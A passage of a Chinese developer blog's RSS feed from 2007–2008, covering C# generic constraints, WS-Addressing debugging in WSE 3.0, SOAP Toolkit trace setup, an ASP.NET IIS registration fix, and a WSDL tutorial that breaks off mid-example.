<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: teal">C</span>&lt;<span style="color: teal">A</span>&gt; c1 = <span style="color: blue">new</span> <span style="color: teal">C</span>&lt;<span style="color: teal">A</span>&gt;();</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: red">C&lt;B&gt; c2 = new C&lt;B&gt;();</span></span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp; c2</span><span style="color: black; font-family: 新宋体">对象在编译时报错：The type 'B' must be a non-nullable value type in order to use it as parameter 'T' in the generic type or methor 'C&lt;T&gt;'</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp; </span></p>
<p style="margin: 0cm 0cm 0pt"><strong><span style="color: black; font-family: 新宋体">总结：</span></strong></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">1</span><span style="color: black; font-family: 新宋体">、C#的泛型能力由CLR在运行时支持，它既不同于C++在编译时所支持的静态模板，也不同于Java在编译器层面使用&#8220;擦拭法&#8221;支持的简单的泛型。</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">2</span><span style="color: black; font-family: 新宋体">、C#的泛型支持包括类、结构、接口、委托四种泛型类型，以及方法成员。</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">3</span><span style="color: black; font-family: 新宋体">、C#的泛型采用&#8220;基类，接口，构造器，值类型/引用类型&#8221;的约束方式来实现对类型参数的&#8220;显式约束&#8221;，它不支持C++模板那样的基于签名的隐式约束。</span></p>
<img src ="http://www.blogjava.net/zqli/aggbug/175983.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-01-17 16:17 <a href="http://www.blogjava.net/zqli/archive/2008/01/17/175983.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>借助WSE3.0研究WS-Addressing规范。</title><link>http://www.blogjava.net/zqli/archive/2008/01/11/174521.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Fri, 11 Jan 2008 02:17:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/01/11/174521.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/174521.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/01/11/174521.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/174521.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/174521.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; cnblogs里有篇帖子<a href="http://idior.cnblogs.com/articles/436801.html">http://idior.cnblogs.com/articles/436801.html</a>（<a class="singleposttitle" id="AjaxHolder_ctl01_TitleUrl" href="http://www.cnblogs.com/idior/articles/436801.html">Applied WSE 3.0 to Web Service Project </a>），对于学习WS-Addressing是篇不错的帖子。按照此贴的方法进行，在追踪Soap消息时，抛出异常。在未开启Client端WSE功能时，Soap Toolkit 3.0能追踪到soap消息，而且，response显示了wse的特性。<br />
<br />
&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;为了使用Soap Toolkit 3.0，我们在WS client端输入的目标地址为：<a href="http://localhost:8080/WSEWebService/Service.asmx">http://localhost:8080/WSEWebService/Service.asmx</a>。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Soap Toolkit 3.0设置为：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Listen<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Local port:8080<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Forward to<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Destination:localhost<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Destination:80<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 之所以这样设置，因为在IIS里设置的本机Web Services为：<a href="http://localhost:8080/WSEWebService/Service.asmx">http://localhost:80/WSEWebService/Service.asmx</a>。Soap Toolkit&nbsp;在8080端口监听来自client端的消息，并将消息递交到IIS监听的80端口。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可当开启client端wse功能时，抛出如下异常：
<fieldset style="width: 1026px; height: 171px">
<p style="margin: 0in 0in 0pt"><span style="font-size: 8pt; font-family: 'Courier New'">Microsoft.Web.Services3.Addressing.AddressingFault: Destination Unreachable ---&amp;gt; System.Exception: </span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 8pt; font-family: 'Courier New'">WSE816: </span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 8pt; font-family: 'Courier New'">The &amp;lt;To&amp;gt; header must match the value of an incoming message's HTTP Request Url if the soap receiver does not have an actor name. </span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 8pt; font-family: 'Courier New'">The &amp;lt;To&amp;gt; header received contained "http://localhost:8080/WSEWebService/Service.asmx" </span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 8pt; font-family: 'Courier New'">while the HTTP Request Url was "http://localhost/WSEWebService/Service.asmx".</span></p>
</fieldset><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 查看&nbsp;Soap Toolkit&nbsp;监听到的SOAP消息可以发现，Request消息的SoapHeader中,&nbsp;目标地址仍然为<span class="m">&lt;</span><span class="t">wsa:To</span><span class="m">&gt;</span><span class="tx"><a href="http://localhost/WSEWebService/Service.asmx">http://localhost:8080/WSEWebService/Service.asmx</a></span><span class="m">&lt;/</span><span class="t">wsa:To</span><span class="m">&gt;</span> ，而不是<span class="m">&lt;</span><span class="t">wsa:To</span><span class="m">&gt;</span><span class="tx"><a href="http://localhost/WSEWebService/Service.asmx">http://localhost:80/WSEWebService/Service.asmx</a></span><span class="m">&lt;/</span><span class="t">wsa:To</span><span class="m">&gt;.因此，destination不可达，抛出如上异常。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在网上查了资料发现：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;
<p style="margin: 0in 0in 0pt">WS-Addressing moves the destination URL of the message into the message to enable routing and scenarios where messages are delivered over multiple protocols. Before WS-Addressing the URL of the destination was only available in the protocol part of the message. Is you were sending a SOAP message over HTTP, the URL was stored in the HTTP part of the message. You had no access to the URL from within your SOAP processor &#8211; unless your Web server vendor chose to give you access to the HTTP headers.</p>
<p style="margin: 0in 0in 0pt">Now with WS-Addressing built into WSE, the Web service platform can actually determine if a message was indeed intended for the service that received it because WSE adds the &lt;to&gt; element to the header of the SOAP message:</p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 8pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;wsa:To xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/03/addressing"&gt;</span></p>
<p style="margin: 0in 0in 0pt 0.5in"><span style="font-size: 8pt; font-family: 'Courier New'"><a href="http://myserver/MyService/Service.asmx%3c/wsa:To"><span style="color: windowtext">http://MyServer/MyService/Service.asmx&lt;/wsa:To</span></a>&gt;</span></p>
<p style="margin: 0in 0in 0pt">WSE is actually being smart about the header and rejects messages where the destination in the &lt;wsa:To&gt; header and the URL in the HTTP header do not match.</p>
<p style="margin: 0in 0in 0pt">One unfortunate consequence of this behavior is that you cannot use transparent tracing tools like <a href="http://www.pocketsoap.com/tcptrace/">tcpTrace</a> and <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=c943c0dd-ceec-4088-9753-86f052ec8450&amp;displaylang=en">MSSoapT</a> for message debugging. These tools act like an intermediary receiver and they do cause the URLs in the &lt;To&gt; header and in the HTTP header to not match.</p>
&#8221;，大概意思也就是MSSoapt(Soap Toolkit&nbsp;)不支持WSE中WS-Addressing&lt;wsa:To&gt;。所以在调试WSE提供的特性时，不能再用&nbsp;<a href="http://www.pocketsoap.com/tcptrace/">tcpTrace</a>或者<a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=c943c0dd-ceec-4088-9753-86f052ec8450&amp;displaylang=en">MSSoapT</a>这样的工具来追踪Soap消息。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;不过，好的消息是，WSE从2.0开始就提供了可以追踪到SOAP消息的诊断工具。<br />
<img height="553" alt="" src="http://www.blogjava.net/images/blogjava_net/zqli/16464/o_Diagnostics-WSE.jpg" width="513" border="0" /><br />
<br />
勾选Enable Message Trace，在调试过程中，将生成InputTrace.webinfo和OutputTrace.webinfo文件，里面记录了我们想要的信息，到此，不需要借助其他Trace工具便可追踪到Soap消息。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>
<img src ="http://www.blogjava.net/zqli/aggbug/174521.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-01-11 10:17 <a href="http://www.blogjava.net/zqli/archive/2008/01/11/174521.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用Soap Toolkit 3.0 Trace Utility跟踪SOAP消息</title><link>http://www.blogjava.net/zqli/archive/2008/01/08/173553.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Tue, 08 Jan 2008 02:32:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/01/08/173553.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/173553.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/01/08/173553.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/173553.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/173553.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Local &nbsp; port:8080 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Destination &nbsp; host:localhost <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Destination &nbsp; port:80&nbsp;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <font style="background-color: #cce8cf">Soap Toolkit</font>是客户端和服务器中的一座桥，local &nbsp; port是Soap &nbsp; Toolkit的监听端口（所以80端口一般不能使用，除非特殊设定），凡是经过local &nbsp; port的请求都会被截下来，然后由Soap &nbsp; Toolkit转发到Destination &nbsp; host：Destination &nbsp; port去。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 所以，Web Services Client要将端口指定到Trace &nbsp; Utility的local &nbsp; port(任意设定一个端口)，Trace &nbsp; Utility的Destination &nbsp; port指定到WebService的端口。这样，就可以截获Soap消息了。 
<img src ="http://www.blogjava.net/zqli/aggbug/173553.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-01-08 10:32 <a href="http://www.blogjava.net/zqli/archive/2008/01/08/173553.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]ASP.net中"名称以无效字符开头"问题解决? </title><link>http://www.blogjava.net/zqli/archive/2008/01/07/173459.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Mon, 07 Jan 2008 14:11:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/01/07/173459.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/173459.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/01/07/173459.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/173459.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/173459.html</trackback:ping><description><![CDATA[在ASP.NET方面,我算是个刚刚入门.今天上网下了一个ASPX程序,准备深入学习,设置好虚拟路径后,在IE中打开,出现了如下的错误提示:<br />
<br />
<table width="400">
    <p style="font: 13pt/15pt 宋体, MS Song">无法显示 XML 页。
    <p style="font: 9pt/14pt 宋体, MS Song">使用 XSL 样式表无法查看 XML 输入。请更正错误然后单击 <a href="javascript:location.reload()" target="_self">刷新</a>按钮，或以后重试。
    <hr />
    <p style="font: bold 9pt/14pt 宋体, MS Song">名称以无效字符开头。处理资源 'http://localhost/likong/' 时出错。第 1 行，位置: 2 </p>
    <pre style="font-weight: normal; font-size: 10pt; line-height: 12pt; font-style: normal; font-variant: normal"><font color="blue">&lt;%@ Page language="c#"  ValidateRequest="false"  Codebehind="default.aspx.cs" AutoEventWireup="false" Inherits="Socut.Cla...</font></pre>
    <p>&nbsp;</p>
    <tbody>
    </tbody>
    </p>
</table>
<br />
这是怎么回事啊,以前怎么没遇到过的.经查阅资料后才知道,这是因为NET没用注册到IIS引起的.原来早两天我重装VS.NET把IIS还原了.<br />
在命令窗口中运行"C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_regiis.exe -i"问题得以解决.<br />
<input id="Image1" type="image" src="http://zhfen.cnblogs.com/images/cnblogs_com/zhfen/iis.gif" value="Image1" border="0" name="Image1" /><br />
<br />
.NetFramework2.0，需要运行的是C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -i。末尾的"i"不能少。
<img src ="http://www.blogjava.net/zqli/aggbug/173459.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-01-07 22:11 <a href="http://www.blogjava.net/zqli/archive/2008/01/07/173459.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】WS-Addressing 从理论到实践 --- SOA基础规范介绍</title><link>http://www.blogjava.net/zqli/archive/2007/12/27/170969.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Thu, 27 Dec 2007 10:37:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2007/12/27/170969.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/170969.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2007/12/27/170969.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/170969.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/170969.html</trackback:ping><description><![CDATA[<div class="postbody">
<p><span>为了让</span><span>SOA</span><span>的应用能够更加的成熟，一些标准化组织</span><span>(</span><span>主要有</span><span>W<st1:chmetcnv unitname="C" sourcevalue="3" hasspace="False" negative="False" numbertype="1" tcsc="0" w:st="on">3C</st1:chmetcnv></span><span>，</span><span>OASIS)</span><span>对</span><span>Web Services</span><span>的功能进行了扩展，为此制定了一系列的</span><span>WS-*</span><span>规范。通过这些规范，使得</span><span>Web Services</span><span>在实际应用中的能力得到了很大的增强，这些能力主要体现在对服务质量的保障上，例如安全，可靠性，事务等等。其中，</span><span>WS-Addressing</span><span>规范作为一个基础，为其余的规范提供了重要的支持功能，因此有必要在了解其他规范前，首先深入了解</span><span>WS-Addressing</span><span>规范。本文将从概念上介绍该规范，并希望通过WSE3.0的实例来看看该规范是如何被实践的。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong style="color: #0000ff;">理论篇<br />
</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://idior.cnblogs.com/archive/2006/06/20/431013.html" target="_blank">WS-Addressing 问题的引出<br />
</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://idior.cnblogs.com/archive/2006/06/24/434586.html" target="_blank">WS-Addressing EndpointReference<br />
</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://idior.cnblogs.com/articles/434750.html" target="_blank">WS-Addressing Message Addressing Properties</a><br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: #008000;"><strong>实践篇</strong><br />
</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="http://idior.cnblogs.com/articles/436801.html" target="_blank">Applied WSE 3.0 to Web Service Project&nbsp;</a>&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://idior.cnblogs.com/articles/437646.html" target="_blank">Use Web Service Thought Message --- SoapClient</a> <br />
<br />
鉴于SOA的概念并没有为大家所广泛理解，在适当的时候有必要写一个<span style="color: #333399;">SOA乱弹。</span><br />
不过先请你记住以下几句话：<br />
<br />
<strong><em>SOA is an&nbsp;<span style="color: red;">integration</span> solution.<br />
SOA is<span style="color: red;"> message oriented</span> first.<br />
The Key character of SOA is <span style="color: red;">loosely coupled</span>.<br />
<span>SOA is enriched</span></em></strong><span><strong><em> by creating <span style="color: red;">composite</span> apps.<br />
<br />
</em></strong>相关资源：<br />
<a href="http://idior.cnblogs.com/archive/2004/12/13/76600.aspx" target="_blank">Web Services的设计与模式</a><br />
<a href="http://idior.cnblogs.com/archive/2006/05/16/354066.html" target="_blank">Web Services Security系列</a><br />
<br />
参考资料：<a href="http://www.w3.org/2002/ws/addr/" target="_blank">WS-Addressing Specification</a></span></span></p>
</div>
<img src ="http://www.blogjava.net/zqli/aggbug/170969.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2007-12-27 18:37 <a href="http://www.blogjava.net/zqli/archive/2007/12/27/170969.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]WSDL(Web服务描述语言)详细解析</title><link>http://www.blogjava.net/zqli/archive/2007/12/27/170967.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Thu, 27 Dec 2007 10:34:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2007/12/27/170967.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/170967.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2007/12/27/170967.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/170967.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/170967.html</trackback:ping><description><![CDATA[WSDL (Web Services Description Language,Web服务描述语言)是一种XML
Application，他将Web服务描述定义为一组服务访问点，客户端可以通过这些服务访问点对包含面向文档信息或面向过程调用的服务进行访问(类似
远程过程调用)。WSDL首先对访问的操作和访问时使用的请求/响应消息进行抽象描述，然后将其绑定到具体的传输协议和消息格式上以最终定义具体部署的服
务访问点。相关的具体部署的服务访问点通过组合就成为抽象的Web服务。&nbsp;本文将详细讲解WSDL文档的结构，并分析每个元素的作用。
<p>一：WSDL定义</p>
<p>&nbsp;&nbsp;&nbsp; WSDL是一个用于精确描述Web服务的文档，WSDL文档是一个遵循WSDL XML模式的XML文档。WSDL
文档将Web服务定义为服务访问点或端口的集合。在 WSDL
中，由于服务访问点和消息的抽象定义已从具体的服务部署或数据格式绑定中分离出来，因此可以对抽象定义进行再次使用：消息，指对交换数据的抽象描述；而端
口类型，指操作的抽象集合。用于特定端口类型的具体协议和数据格式规范构成了可以再次使用的绑定。将Web访问地址与可再次使用的绑定相关联，可以定义一
个端口，而端口的集合则定义为服务。</p>
<p>&nbsp;&nbsp;
一个WSDL文档通常包含7个重要的元素，即types、import、message、portType、operation、binding、
service元素。这些元素嵌套在definitions元素中，definitions是WSDL文档的根元素。文章的下一部分将会详细介绍WSDL
的基本结构。</p>
<p>二：WSDL的基本结构--概述</p>
<p>如第一部分最后描述的那样，一个基本的WSDL文档包含7个重要的元素。下面将分别介绍这几个元素以及他们的作用。</p>
<p>WSDL 文档在Web服务的定义中使用下列元素：</p>
<ul>
    <li><strong>Types</strong> - 数据类型定义的容器，它使用某种类型系统(一般地使用XML Schema中的类型系统)。 </li>
    <li><strong>Message</strong> - 通信消息的数据结构的抽象类型化定义。使用Types所定义的类型来定义整个消息的数据结构。 </li>
    <li><strong>Operation</strong> - 对服务中所支持的操作的抽象描述，一般单个Operation描述了一个访问入口的请求/响应消息对。 </li>
    <li><strong>PortType</strong> - 对于某个访问入口点类型所支持的操作的抽象集合，这些操作可以由一个或多个服务访问点来支持。 </li>
    <li><strong>Binding</strong> - 特定端口类型的具体协议和数据格式规范的绑定。 </li>
    <li><strong>Port</strong> - 定义为协议/数据格式绑定与具体Web访问地址组合的单个服务访问点。 </li>
    <li><strong>Service</strong>- 相关服务访问点的集合。 </li>
</ul>
<p>&nbsp; 可以参考下图来理解一下WSDL的文档结构图：<img alt="WSDL文档元素的结构图" src="http://p.blog.csdn.net/images/p_blog_csdn_net/juxtapose/wsdl-01.gif" /></p>
<p>WSDL的xml schema可以参照如下网址：<a href="http://schemas.xmlsoap.org/wsdl/" target="_blank">http://schemas.xmlsoap.org/wsdl/</a></p>
<p>三：WSDL的基本结构--详述</p>
<p>本节将通过一个例子详细描述WSDL文档每个元素的作用。下面一个例子是一个简单的WSDL文档的内容，该文档的产生可以参见我的另外一篇文章：<a target="_blank" href="http://blog.csdn.net/juxtapose/archive/2007/09/10/1779849.aspx">xfire开发实例--HelloWorld篇</a>&nbsp;。</p>
<p>一个简单的Web Service的WSDL文档，该服务支持名为sayHello的唯一操作，该操作通过在http上运行<a target="_blank" href="http://gocom.primeton.com/modules/gSpace/about_onetag.php?tagid=102&amp;tagname=SOA&amp;PHPSESSID=8ec13fb797e6d9cd04af6b0570f147d1">SOA</a>P协议来实现的。该请求接受一个字符串name，经过处理后返回一个简单的字符串。文档如下：</p>
<div style="border: 0.5pt solid windowtext; padding: 4px 5.4pt; background: #e6e6e6 none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; width: 95%;">
<div><span style="color: #0000ff;">&lt;?</span><span style="color: #ff00ff;">xml&nbsp;version="1.0"&nbsp;encoding="UTF-8"&nbsp;</span><span style="color: #0000ff;">?&gt;</span><span style="color: #000000;"><br />
</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:definitions<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #ff0000;">targetNamespace</span><span style="color: #0000ff;">="<a href="http://com.liuxiang.xfiredemo/HelloService%22" target="_blank">http://com.liuxiang.xfireDemo/HelloService"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:tns</span><span style="color: #0000ff;">="<a href="http://com.liuxiang.xfiredemo/HelloService%22" target="_blank">http://com.liuxiang.xfireDemo/HelloService"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:wsdlsoap</span><span style="color: #0000ff;">="<a href="http://schemas.xmlsoap.org/wsdl/soap/%22" target="_blank">http://schemas.xmlsoap.org/wsdl/soap/"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:soap12</span><span style="color: #0000ff;">="<a href="http://www.w3.org/2003/05/soap-envelope%22" target="_blank">http://www.w3.org/2003/05/soap-envelope"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:xsd</span><span style="color: #0000ff;">="<a href="http://www.w3.org/2001/XMLSchema%22" target="_blank">http://www.w3.org/2001/XMLSchema"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:soapenc11</span><span style="color: #0000ff;">="<a href="http://schemas.xmlsoap.org/soap/encoding/%22" target="_blank">http://schemas.xmlsoap.org/soap/encoding/"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:soapenc12</span><span style="color: #0000ff;">="<a href="http://www.w3.org/2003/05/soap-encoding%22" target="_blank">http://www.w3.org/2003/05/soap-encoding"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:soap11</span><span style="color: #0000ff;">="<a href="http://schemas.xmlsoap.org/soap/envelope/%22" target="_blank">http://schemas.xmlsoap.org/soap/envelope/"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;xmlns:wsdl</span><span style="color: #0000ff;">="<a href="http://schemas.xmlsoap.org/wsdl/%22" target="_blank">http://schemas.xmlsoap.org/wsdl/"</a></span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">wsdl:types</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:schema&nbsp;</span><span style="color: #ff0000;">xmlns:xsd</span><span style="color: #0000ff;">="<a href="http://www.w3.org/2001/XMLSchema%22" target="_blank">http://www.w3.org/2001/XMLSchema"</a></span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;attributeFormDefault</span><span style="color: #0000ff;">="qualified"</span><span style="color: #ff0000;">&nbsp;elementFormDefault</span><span style="color: #0000ff;">="qualified"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;targetNamespace</span><span style="color: #0000ff;">="<a href="http://com.liuxiang.xfiredemo/HelloService%22" target="_blank">http://com.liuxiang.xfireDemo/HelloService"</a></span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:element&nbsp;</span><span style="color: #ff0000;">name</span><span style="color: #0000ff;">="sayHello"</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:complexType</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:sequence</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">xsd:element&nbsp;</span><span style="color: #ff0000;">maxOccurs</span><span style="color: #0000ff;">="1"</span><span style="color: #ff0000;">&nbsp;minOccurs</span><span style="color: #0000ff;">="1"</span><span style="color: #ff0000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name</span><span style="color: #0000ff;">="name"</span><span style="color: #ff0000;">&nbsp;nillable</span><span style="color: #0000ff;">="true"</span><span style="color: #ff0000;">&nbsp;type</span><span style="color: #0000ff;">="xsd:string"</span><span style="color: #ff0000;">&nbsp;</span><span style="color: #0000ff;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:sequence</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">xsd:complexType</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
